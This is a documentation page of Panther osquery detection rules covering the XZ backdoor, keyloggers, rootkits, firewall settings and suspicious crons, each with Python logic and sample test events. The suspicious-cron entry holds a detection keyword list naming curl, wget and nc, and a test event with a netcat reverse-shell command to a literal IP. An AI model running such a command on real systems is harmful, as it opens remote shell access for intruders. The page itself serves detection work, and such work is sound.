Detection rules › Panther

Panther rules: osquery

A backdoored version of XZ or liblzma is vulnerable to CVE-2024-3094

#
Severity
high
Log types
Osquery.Differential
Tags
Osquery, MacOS, Linux, Emerging Threats, Supply Chain Compromise
Reference
gist.github.com
Source
github.com/panther-labs/panther-analysis

Detects vulnerable versions of XZ and liblzma on Linux and MacOS using Osquery logs. Versions 5.6.0 and 5.6.1 of xz and liblzma are most likely vulnerable to backdoor exploit. Vuln management pack must be enabled: https://github.com/osquery/osquery/blob/master/packs/vuln-management.conf

MITRE ATT&CK coverage

Detection logic

QUERY_NAMES = {
    "pack_vuln-management_homebrew_packages",
    "pack_vuln-management_deb_packages",
    "pack_vuln-management_rpm_packages",
}
VULNERABLE_PACKAGES = {"xz", "liblzma", "xz-libs", "xz-utils"}
VULNERABLE_VERSIONS = {"5.6.0", "5.6.1"}


def rule(event):
    package = event.deep_get("columns", "name", default="")
    version = event.deep_get("columns", "version", default="")
    return all(
        [
            event.get("name") in QUERY_NAMES,
            (package in VULNERABLE_PACKAGES or package.startswith("liblzma")),
            any(version.startswith(v) for v in VULNERABLE_VERSIONS),
        ]
    )


def title(event):
    host = event.get("hostIdentifier")
    name = event.deep_get("columns", "name", default="")
    version = event.deep_get("columns", "version", default="")
    return f"[CVE-2024-3094] {name} {version} Potentially vulnerable on {host}"

Rule specification

AnalysisType: rule
Filename: osquery_linux_mac_vulnerable_xz_liblzma.py
RuleID: "Osquery.Linux.Mac.VulnerableXZliblzma"
DisplayName: "A backdoored version of XZ or liblzma is vulnerable to CVE-2024-3094"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - MacOS
  - Linux
  - Emerging Threats
  - Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.001
Severity: High
Description: >
  Detects vulnerable versions of XZ and liblzma on Linux and MacOS using Osquery logs.
  Versions 5.6.0 and 5.6.1 of xz and liblzma are most likely vulnerable to backdoor exploit.
  Vuln management pack must be enabled: https://github.com/osquery/osquery/blob/master/packs/vuln-management.conf
Runbook: Upgrade/downgrade xz and liblzma to non-vulnerable versions
Reference: https://gist.github.com/jamesspi/ee8319f55d49b4f44345c626f80c430f
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name is one of pack_vuln-management_homebrew_packages, pack_vuln-management_deb_packages, pack_vuln-management_rpm_packages
  • any of:
    • columns.name is one of xz, liblzma, xz-libs, xz-utils
    • columns.name starts with liblzma
  • any of:
    • columns.version starts with 5.6.0
    • columns.version starts with 5.6.1

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
columns.namein
  • liblzma
  • xz
  • xz-libs
  • xz-utils
field:"columns.name" kind:in
columns.namestarts_with
  • liblzma
field:"columns.name" kind:starts_with value:"liblzma"
columns.versionstarts_with
  • 5.6.0
  • 5.6.1
field:"columns.version" kind:starts_with
namein
  • pack_vuln-management_deb_packages
  • pack_vuln-management_homebrew_packages
  • pack_vuln-management_rpm_packages
field:"name" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
namecolumns.name
versioncolumns.version
hostIdentifier

Response runbook

Upgrade/downgrade xz and liblzma to non-vulnerable versions

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "name": "liblzma.so",
    "source": "test-host",
    "status": "Potentially vulnerable",
    "version": "5.6.1.000"
  },
  "hostIdentifier": "test-host",
  "name": "pack_vuln-management_rpm_packages"
}

A Login from Outside the Corporate Office

#
Severity
high
Log types
Osquery.Differential
Tags
Configuration Required, Osquery, Linux, Initial Access:Valid Accounts
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

A system has been logged into from a non approved IP space.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Detection logic

import ipaddress

# This is only an example network, but you can set it to whatever you'd like
OFFICE_NETWORKS = [
    ipaddress.ip_network("192.168.1.100/32"),
    ipaddress.ip_network("192.168.1.200/32"),
]


def _login_from_non_office_network(host):
    host_ipaddr = ipaddress.IPv4Address(host)

    non_office_logins = []
    for office_network in OFFICE_NETWORKS:
        non_office_logins.append(host_ipaddr in office_network)

    return not any(non_office_logins)


def rule(event):
    if event.get("action") != "added":
        return False

    if "logged_in_users" in event.get("name"):
        # Only pay attention to users and not system-level accounts
        if event.deep_get("columns", "type") != "user":
            return False
    elif "last" in event.get("name"):
        pass
    else:
        # A query we don't care about
        return False

    host_ip = event.deep_get("columns", "host")
    return _login_from_non_office_network(host_ip)


def title(event):
    user = event.deep_get("columns", "user", default=event.deep_get("columns", "username"))

    return (
        f"User [{user if user else '<UNKNOWN_USER>'}"
        f" has logged into production from a non-office network"
    )

Rule specification

AnalysisType: rule
Filename: osquery_linux_logins_non_office.py
RuleID: "Osquery.Linux.LoginFromNonOffice"
DisplayName: "A Login from Outside the Corporate Office"
Enabled: false
LogTypes:
  - Osquery.Differential
Tags:
  - Configuration Required
  - Osquery
  - Linux
  - Initial Access:Valid Accounts
Reports:
  MITRE ATT&CK:
    - TA0001:T1078
Severity: High
Description: A system has been logged into from a non approved IP space.
Runbook: Analyze the host IP, and if possible, update allowlist or fix ACL.
Reference: https://attack.mitre.org/techniques/T1078/
SummaryAttributes:
  - name
  - action
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on Osquery.Differential events when the condition below holds.

Condition

  • action is added

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • added
field:"action" kind:eq value:"added"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
usercolumns.user

Response runbook

Analyze the host IP, and if possible, update allowlist or fix ACL.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "host": "10.0.3.1",
    "type": "user",
    "user": "ubuntu"
  },
  "name": "pack/incident_response/logged_in_users"
}

AWS command executed on the command line

#
Severity
medium
Log types
Osquery.Differential
Tags
Osquery, Linux, Execution:User Execution
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

An AWS command was executed on a Linux instance

MITRE ATT&CK coverage

TacticTechniques
Execution

Detection logic

import shlex

PLATFORM_IGNORE_LIST = {"darwin"}


def rule(event):
    # Filter out irrelevant logs & systems
    if (
        event.get("action") != "added"
        or "shell_history" not in event.get("name")
        or event.deep_get("decorations", "platform") in PLATFORM_IGNORE_LIST
    ):
        return False

    command = event.deep_get("columns", "command")
    if not command:
        return False
    try:
        command_args = shlex.split(command)
    except ValueError:
        # "No escaped character" or "No closing quotation", probably an invalid command
        return False

    if command_args[0] == "aws":
        return True

    return False


def title(event):
    return (
        f"User [{event.deep_get('columns', 'username', default='<UNKNOWN_USER>')}] issued an"
        f" aws-cli command on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"
    )

Rule specification

AnalysisType: rule
Filename: osquery_linux_aws_commands.py
RuleID: "Osquery.Linux.AWSCommandExecuted"
DisplayName: "AWS command executed on the command line"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Linux
  - Execution:User Execution
Reports:
  MITRE ATT&CK:
    - TA0002:T1204
Severity: Medium
Description: An AWS command was executed on a Linux instance
Runbook: See which other commands were executed, and then remove IAM role causing the access
Reference: https://attack.mitre.org/techniques/T1078/
SummaryAttributes:
  - name
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • action is added
  • name contains shell_history
  • decorations.platform is not one of darwin
  • columns.command is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
columns.commandis_not_null
  • (no value, null check)
field:"columns.command" kind:is_not_null
namecontains
  • shell_history
field:"name" kind:contains value:"shell_history"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
usernamecolumns.username
hostIdentifier

Response runbook

See which other commands were executed, and then remove IAM role causing the access

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "command": "aws s3 ls",
    "directory": "/home/ubuntu",
    "uid": "1000",
    "username": "ubuntu"
  },
  "name": "pack_incident-response_shell_history"
}

MacOS ALF is misconfigured

#
Severity
high
Compliance
CIS 2.6.3, 2.6.4
Log types
Osquery.Differential
Tags
Osquery, MacOS, Security Control, Defense Evasion:Impair Defenses
Reference
support.apple.com
Source
github.com/panther-labs/panther-analysis

The application level firewall blocks unwanted network connections made to your computer from other computers on your network.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment

Detection logic

QUERIES = {"pack_incident-response_alf", "pack/mac-cis/ApplicationFirewall"}


def rule(event):
    if event.get("name") not in QUERIES:
        return False

    if event.get("action") != "added":
        return False

    return (
        # 0 If the firewall is disabled
        # 1 If the firewall is enabled with exceptions
        # 2 If the firewall is configured to block all incoming connections
        int(event.deep_get("columns", "global_state")) == 0
        or
        # Stealth mode is a best practice to avoid responding to unsolicited probes
        int(event.deep_get("columns", "stealth_enabled")) == 0
    )


def title(event):
    return f"MacOS firewall disabled on [{event.get('hostIdentifier')}]"

Rule specification

AnalysisType: rule
Filename: osquery_mac_application_firewall.py
RuleID: "Osquery.Mac.ApplicationFirewallSettings"
DisplayName: "MacOS ALF is misconfigured"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - MacOS
  - Security Control
  - Defense Evasion:Impair Defenses
Reports:
  CIS:
    - 2.6.3
    - 2.6.4
  MITRE ATT&CK:
    - TA0005:T1562
Severity: High
Description: >
  The application level firewall blocks unwanted network connections made to your
  computer from other computers on your network.
Runbook: Re-enable the firewall manually or with configuration management
Reference: https://support.apple.com/en-us/HT201642
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name is one of pack_incident-response_alf, pack/mac-cis/ApplicationFirewall
  • action is added
  • any of:
    • columns.global_state is 0
    • columns.stealth_enabled is 0

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
hostIdentifier

Response runbook

Re-enable the firewall manually or with configuration management

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "allow_signed_enabled": "0",
    "firewall_unload": "0",
    "global_state": "0",
    "logging_enabled": "0",
    "logging_option": "0",
    "stealth_enabled": "0",
    "version": "1.6"
  },
  "hostIdentifier": "test-host",
  "name": "pack_incident-response_alf"
}

MacOS Keyboard Events

#
Severity
medium
Log types
Osquery.Differential
Tags
Osquery, MacOS, Malware, Collection:Input Capture
Reference
support.apple.com
Source
github.com/panther-labs/panther-analysis

A Key Logger has potentially been detected on a macOS system

MITRE ATT&CK coverage

TacticTechniques
Collection

Detection logic

from fnmatch import fnmatch

# sip protects against writing malware into the paths below.
# additional apps can be added to this list based on your environments.
#
# more info: https://support.apple.com/en-us/HT204899
APPROVED_PROCESS_PATHS = {
    "/System/*",
    "/usr/*",
    "/bin/*",
    "/sbin/*",
    "/var/*",
}

APPROVED_APPLICATION_NAMES = {"Adobe Photoshop CC 2019"}


def rule(event):
    if "Keyboard_Event_Taps" not in event.get("name", ""):
        return False

    if event.get("action") != "added":
        return False

    process_path = event.deep_get("columns", "path", default="")
    if process_path == "":
        return False

    if event.deep_get("columns", "name") in APPROVED_APPLICATION_NAMES:
        return False

    # Alert if the process is running outside any of the approved paths
    # TODO: Convert this fnmatch pattern below to a helper
    return not any((fnmatch(process_path, p) for p in APPROVED_PROCESS_PATHS))


def title(event):
    return f"Keylogger malware detected on [{event.get('hostIdentifier')}]"

Rule specification

AnalysisType: rule
Filename: osquery_mac_osx_attacks_keyboard_events.py
RuleID: "Osquery.Mac.OSXAttacksKeyboardEvents"
DisplayName: "MacOS Keyboard Events"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - MacOS
  - Malware
  - Collection:Input Capture
Reports:
  MITRE ATT&CK:
    - TA0009:T1056
Severity: Medium
Description: A Key Logger has potentially been detected on a macOS system
Runbook: Verify the Application monitoring the keyboard taps
Reference: https://support.apple.com/en-us/HT204899
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name contains Keyboard_Event_Taps
  • action is added
  • columns.path is not ""
  • columns.name is not one of Adobe Photoshop CC 2019
  • columns.path does not match the pattern /System/*
  • columns.path does not match the pattern /usr/*
  • columns.path does not match the pattern /bin/*
  • columns.path does not match the pattern /sbin/*
  • columns.path does not match the pattern /var/*

Exclusions

The rule actively suppresses these predicates.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
hostIdentifier

Response runbook

Verify the Application monitoring the keyboard taps

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "name": "Siri",
    "path": "/Users/johnny/Desktop/Siri.app/Contents/MacOS/Siri",
    "pid": 100
  },
  "hostIdentifier": "test-host",
  "name": "pack_osx-attacks_Keyboard_Event_Taps"
}

macOS Malware Detected with osquery

#
Severity
medium
Log types
Osquery.Differential
Tags
Osquery, MacOS, Malware, Resource Development:Develop Capabilities
Reference
github.com
Source
github.com/panther-labs/panther-analysis

Malware has potentially been detected on a macOS system

MITRE ATT&CK coverage

TacticTechniques
Resource Development

Detection logic

def rule(event):
    if "osx-attacks" not in event.get("name", ""):
        return False

    # There is another rule specifically for this query
    if "Keyboard_Event_Taps" in event.get("name", ""):
        return False

    if event.get("action") != "added":
        return False

    return True


def title(event):
    return f"MacOS malware detected on [{event.get('hostIdentifier')}]"

Rule specification

AnalysisType: rule
Filename: osquery_mac_osx_attacks.py
RuleID: "Osquery.Mac.OSXAttacks"
DisplayName: "macOS Malware Detected with osquery"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - MacOS
  - Malware
  - Resource Development:Develop Capabilities
Reports:
  MITRE ATT&CK:
    - TA0042:T1588
Severity: Medium
Description: Malware has potentially been detected on a macOS system
Runbook: Check the executable against VirusTotal
Reference: https://github.com/osquery/osquery/blob/master/packs/osx-attacks.conf
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name contains osx-attacks
  • name does not contain Keyboard_Event_Taps
  • action is added

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
namecontainsKeyboard_Event_Tapsexcludes:name field:"name" value:"Keyboard_Event_Taps"

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
hostIdentifier

Response runbook

Check the executable against VirusTotal

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "name": "Siri",
    "path": "/Users/johnny/Desktop/Siri.app/Contents/MacOS/Siri",
    "pid": 100
  },
  "hostIdentifier": "test-host",
  "name": "pack_osx-attacks_Leverage-A_1"
}

Osquery Agent Outdated

#
Severity
informational
Log types
Osquery.Differential
Tags
Osquery, Compliance
Reference
www.osquery.io
Source
github.com/panther-labs/panther-analysis

Keep track of osquery versions, current is 5.10.2.

Detection logic

LATEST_VERSION = "5.10.2"


def rule(event):
    return (
        event.get("name") == "pack_it-compliance_osquery_info"
        and event.deep_get("columns", "version") != LATEST_VERSION
        and event.get("action") == "added"
    )


def title(event):
    return f"Osquery Version {event.deep_get('columns', 'version')} is Outdated"

Rule specification

AnalysisType: rule
Filename: osquery_outdated.py
RuleID: "Osquery.OutdatedAgent"
DisplayName: "Osquery Agent Outdated"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Compliance
Severity: Info
Description: Keep track of osquery versions, current is 5.10.2.
Runbook: Update the osquery agent.
Reference: https://www.osquery.io/downloads/official/5.10.2
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name is pack_it-compliance_osquery_info
  • columns.version is not 5.10.2
  • action is added

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
versioncolumns.version

Response runbook

Update the osquery agent.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
  "columns": {
    "build_distro": "10.12",
    "build_platform": "darwin",
    "config_hash": "1111",
    "config_valid": "1",
    "counter": "14",
    "extensions": "active",
    "global_state": "0",
    "instance_id": "1111",
    "pid": "223",
    "resident_size": "54894592",
    "start_time": "1536634519",
    "system_time": "12472",
    "user_time": "31800",
    "uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
    "version": "3.1.2",
    "watcher": "92"
  },
  "counter": "255",
  "decorations": {
    "environment": "corp",
    "host_uuid": "1111"
  },
  "epoch": "0",
  "hostIdentifier": "test.lan",
  "log_type": "result",
  "name": "pack_it-compliance_osquery_info",
  "unixTime": "1536682461"
}

OSQuery Detected SSH Listener

#
Severity
medium
Log types
Osquery.Differential
Tags
Osquery, Lateral Movement:Remote Services
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

Check if SSH is listening in a non-production environment. This could be an indicator of persistent access within an environment.

MITRE ATT&CK coverage

TacticTechniques
Lateral Movement

Detection logic

def rule(event):
    return (
        event.get("name") == "pack_incident-response_listening_ports"
        and event.deep_get("columns", "port") == "22"
        and event.get("action") == "added"
    )

Rule specification

AnalysisType: rule
Filename: osquery_ssh_listener.py
RuleID: "Osquery.SSHListener"
DisplayName: "OSQuery Detected SSH Listener"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Lateral Movement:Remote Services
Reports:
  MITRE ATT&CK:
    - TA0008:T1021
Severity: Medium
Description: >
  Check if SSH is listening in a non-production environment. This could be an indicator of persistent access within an environment.
Runbook: >
  Terminate the SSH daemon, investigate for signs of compromise.
Reference: https://medium.com/uptycs/osquery-what-it-is-how-it-works-and-how-to-use-it-ce4e81e60dfc
SummaryAttributes:
  - action
  - hostIdentifier
  - name

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name is pack_incident-response_listening_ports
  • columns.port is 22
  • action is added

Indicators

These rows show field, operator, and value matches.

Response runbook

Terminate the SSH daemon, investigate for signs of compromise.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
  "columns": {
    "build_distro": "10.12",
    "build_platform": "darwin",
    "config_hash": "1111",
    "config_valid": "1",
    "counter": "14",
    "extensions": "active",
    "global_state": "0",
    "instance_id": "1111",
    "pid": "223",
    "port": "22",
    "resident_size": "54894592",
    "start_time": "1536634519",
    "system_time": "12472",
    "user_time": "31800",
    "uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
    "version": "Not Supported",
    "watcher": "92"
  },
  "counter": "255",
  "decorations": {
    "environment": "corp",
    "host_uuid": "1111"
  },
  "epoch": "0",
  "hostIdentifier": "test.lan",
  "log_type": "result",
  "name": "pack_incident-response_listening_ports",
  "unixTime": "1536682461"
}

OSQuery Detected Unwanted Chrome Extensions

#
Severity
medium
Log types
Osquery.Differential
Tags
Osquery, MacOS, Malware, Persistence:Browser Extensions
Reference
securelist.com
Source
github.com/panther-labs/panther-analysis

Monitor for chrome extensions that could lead to a credential compromise.

MITRE ATT&CK coverage

TacticTechniques
Persistence

Detection logic

def rule(event):
    return "unwanted-chrome-extensions" in event.get("name") and event.get("action") == "added"


def title(event):
    return f"Unwanted Chrome extension(s) detected on [{event.get('hostIdentifier')}]"

Rule specification

AnalysisType: rule
Filename: osquery_mac_unwanted_chrome_extensions.py
RuleID: "Osquery.Mac.UnwantedChromeExtensions"
DisplayName: "OSQuery Detected Unwanted Chrome Extensions"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - MacOS
  - Malware
  - Persistence:Browser Extensions
Reports:
  MITRE ATT&CK:
    - TA0003:T1176
Severity: Medium
Description: >
  Monitor for chrome extensions that could lead to a credential compromise.
Runbook: Uninstall the unwanted extension
Reference: https://securelist.com/threat-in-your-browser-extensions/107181/
SummaryAttributes:
  - action
  - hostIdentifier
  - name

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name contains unwanted-chrome-extensions
  • action is added

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
hostIdentifier

Response runbook

Uninstall the unwanted extension

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
  "columns": {
    "build_distro": "10.12",
    "build_platform": "darwin",
    "config_hash": "1111",
    "config_valid": "1",
    "counter": "14",
    "extensions": "active",
    "global_state": "0",
    "instance_id": "1111",
    "pid": "223",
    "port": "22",
    "resident_size": "54894592",
    "start_time": "1536634519",
    "system_time": "12472",
    "user_time": "31800",
    "uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
    "version": "Not Supported",
    "watcher": "92"
  },
  "counter": "255",
  "decorations": {
    "environment": "corp",
    "host_uuid": "1111"
  },
  "epoch": "0",
  "hostIdentifier": "test.lan",
  "log_type": "result",
  "name": "pack_unwanted-chrome-extensions_pup1",
  "unixTime": "1536682461"
}

OSQuery Reports Application Firewall Disabled

#
Severity
medium
Compliance
CIS 1.2
Log types
Osquery.Differential
Tags
Osquery, MacOS, Security Control, Defense Evasion:Impair Defenses
Reference
support.apple.com
Source
github.com/panther-labs/panther-analysis

Verifies that MacOS has automatic software updates enabled.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment

Detection logic

def rule(event):
    return (
        "SoftwareUpdate" in event.get("name", [])
        and event.get("action") == "added"
        and event.deep_get("columns", "domain") == "com.apple.SoftwareUpdate"
        and event.deep_get("columns", "key") == "AutomaticCheckEnabled"
        and
        # Send an alert if not set to "true"
        event.deep_get("columns", "value") == "false"
    )

Rule specification

AnalysisType: rule
Filename: osquery_mac_enable_auto_update.py
RuleID: "Osquery.Mac.AutoUpdateEnabled"
DisplayName: "OSQuery Reports Application Firewall Disabled"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - MacOS
  - Security Control
  - Defense Evasion:Impair Defenses
Reports:
  CIS:
    - 1.2
  MITRE ATT&CK:
    - TA0005:T1562
Severity: Medium
DedupPeriodMinutes: 1440
Description: >
  Verifies that MacOS has automatic software updates enabled.
Runbook: >
  Enable the auto updates on the host.
Reference: https://support.apple.com/en-gb/guide/mac-help/mchlpx1065/mac
SummaryAttributes:
  - name
  - action
  - p_any_ip_addresses
  - p_any_domain_names

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name contains SoftwareUpdate
  • action is added
  • columns.domain is com.apple.SoftwareUpdate
  • columns.key is AutomaticCheckEnabled
  • columns.value is false
Alert deduplication
repeat matches within 1d group into one alert

Indicators

These rows show field, operator, and value matches.

Response runbook

Enable the auto updates on the host.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "domain": "com.apple.SoftwareUpdate",
    "key": "AutomaticCheckEnabled",
    "value": "false"
  },
  "name": "pack/mac-cis/SoftwareUpdate"
}

OSSEC Rootkit Detected via Osquery

#
Severity
medium
Log types
Osquery.Differential
Tags
Osquery, Malware, Defense Evasion:Rootkit
Reference
panther.com
Source
github.com/panther-labs/panther-analysis

Checks if any results are returned for the Osquery OSSEC Rootkit pack.

MITRE ATT&CK coverage

TacticTechniques
Stealth

Detection logic

def rule(event):
    return "ossec-rootkit" in event.get("name", "") and event.get("action") == "added"


def title(event):
    return f"OSSEC rootkit found on [{event.get('hostIdentifier')}]"

Rule specification

AnalysisType: rule
Filename: osquery_ossec.py
RuleID: "Osquery.OSSECRootkitDetected"
DisplayName: "OSSEC Rootkit Detected via Osquery"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Malware
  - Defense Evasion:Rootkit
Reports:
  MITRE ATT&CK:
    - TA0005:T1014
Severity: Medium
Description: >
  Checks if any results are returned for the Osquery OSSEC Rootkit pack.
Runbook: >
  Verify the presence of the rootkit and re-image the machine.
Reference: https://panther.com/blog/osquery-log-analysis/
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name contains ossec-rootkit
  • action is added

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
hostIdentifier

Response runbook

Verify the presence of the rootkit and re-image the machine.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
  "columns": {
    "build_distro": "10.12",
    "build_platform": "darwin",
    "config_hash": "1111",
    "config_valid": "1",
    "counter": "14",
    "extensions": "active",
    "global_state": "0",
    "instance_id": "1111",
    "pid": "223",
    "resident_size": "54894592",
    "start_time": "1536634519",
    "system_time": "12472",
    "user_time": "31800",
    "uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
    "version": "3.2.6",
    "watcher": "92"
  },
  "counter": "255",
  "decorations": {
    "environment": "corp",
    "host_uuid": "1111"
  },
  "epoch": "0",
  "hostIdentifier": "test.lan",
  "log_type": "result",
  "name": "pack_ossec-rootkit_pwned",
  "unixTime": "1536682461"
}

Suspicious cron detected

#
Severity
high
Log types
Osquery.Differential
Tags
Osquery, Execution:Scheduled Task/Job
Reference
en.wikipedia.org
Source
github.com/panther-labs/panther-analysis

A suspicious cron has been added

MITRE ATT&CK coverage

TacticTechniques
Execution

Detection logic

import shlex
from fnmatch import fnmatch

SUSPICIOUS_CRON_CMD_ARGS = {
    # Running in unexpected locations
    "/tmp/*",  # nosec
    # Reaching out to the internet
    "curl",
    "dig",
    "http?://*",
    "nc",
    "wget",
}

SUSPICIOUS_CRON_CMDS = {
    # Passing arguments into /bin/sh
    "*|*sh",
    "*sh -c *",
}


def suspicious_cmd_pairs(command):
    return any((fnmatch(command, c) for c in SUSPICIOUS_CRON_CMDS))


def suspicious_cmd_args(command):
    command_args = shlex.split(command.replace("'", "\\'"))  # escape single quotes
    for cmd in command_args:
        if any((fnmatch(cmd, c) for c in SUSPICIOUS_CRON_CMD_ARGS)):
            return True
    return False


def rule(event):
    if "crontab" not in event.get("name"):
        return False

    command = event.deep_get("columns", "command")
    if not command:
        return False

    return any([suspicious_cmd_args(command), suspicious_cmd_pairs(command)])


def title(event):
    return f"Suspicious cron found on [{event.get('hostIdentifier', '<UNKNOWN_HOST>')}]"

Rule specification

AnalysisType: rule
Filename: osquery_suspicious_cron.py
RuleID: "Osquery.SuspiciousCron"
DisplayName: "Suspicious cron detected"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Execution:Scheduled Task/Job
Reports:
  MITRE ATT&CK:
    - TA0002:T1053
Severity: High
Description: A suspicious cron has been added
Runbook: Analyze the command to ensure no nefarious activity is occurring
Reference: https://en.wikipedia.org/wiki/Cron
SummaryAttributes:
  - action
  - hostIdentifier
  - name

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name contains crontab
  • columns.command is present
  • any of:
    • columns.command matches the pattern *|*sh
    • columns.command matches the pattern *sh -c *

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
hostIdentifier

Response runbook

Analyze the command to ensure no nefarious activity is occurring

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "columns": {
    "command": "nc -e /bin/bash 237.233.242.58 80",
    "day_of_month": "*",
    "day_of_week": "7",
    "event": "",
    "hour": "*",
    "minute": "17",
    "month": "*",
    "path": "/etc/crontab"
  },
  "hostIdentifier": "test-host",
  "name": "pack_incident-response_crontab"
}

Unsupported macOS version

#
Severity
low
Log types
Osquery.Differential
Tags
Osquery, Compliance
Reference
support.apple.com
Source
github.com/panther-labs/panther-analysis

Check that all laptops on the corporate environment are on a version of MacOS supported by IT.

Detection logic

SUPPORTED_VERSIONS = [
    "10.15.1",
    "10.15.2",
    "10.15.3",
]


def rule(event):
    return (
        event.get("name") == "pack_vuln-management_os_version"
        and event.deep_get("columns", "platform") == "darwin"
        and event.deep_get("columns", "version") not in SUPPORTED_VERSIONS
        and event.get("action") == "added"
    )

Rule specification

AnalysisType: rule
Filename: osquery_outdated_macos.py
RuleID: "Osquery.UnsupportedMacOS"
DisplayName: "Unsupported macOS version"
Enabled: true
LogTypes:
  - Osquery.Differential
Tags:
  - Osquery
  - Compliance
Severity: Low
Description: >
  Check that all laptops on the corporate environment are on a version of MacOS supported by IT.
Runbook: Update the MacOs version
Reference: https://support.apple.com/en-eg/HT201260
SummaryAttributes:
  - name
  - hostIdentifier
  - action

Stages and Predicates

Fires on Osquery.Differential events when all of the conditions below hold.

Condition

  • name is pack_vuln-management_os_version
  • columns.platform is darwin
  • columns.version is not one of 10.15.1, 10.15.2, 10.15.3
  • action is added

Exclusions

The rule actively suppresses these predicates.

Indicators

These rows show field, operator, and value matches.

Response runbook

Update the MacOs version

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "added",
  "calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
  "columns": {
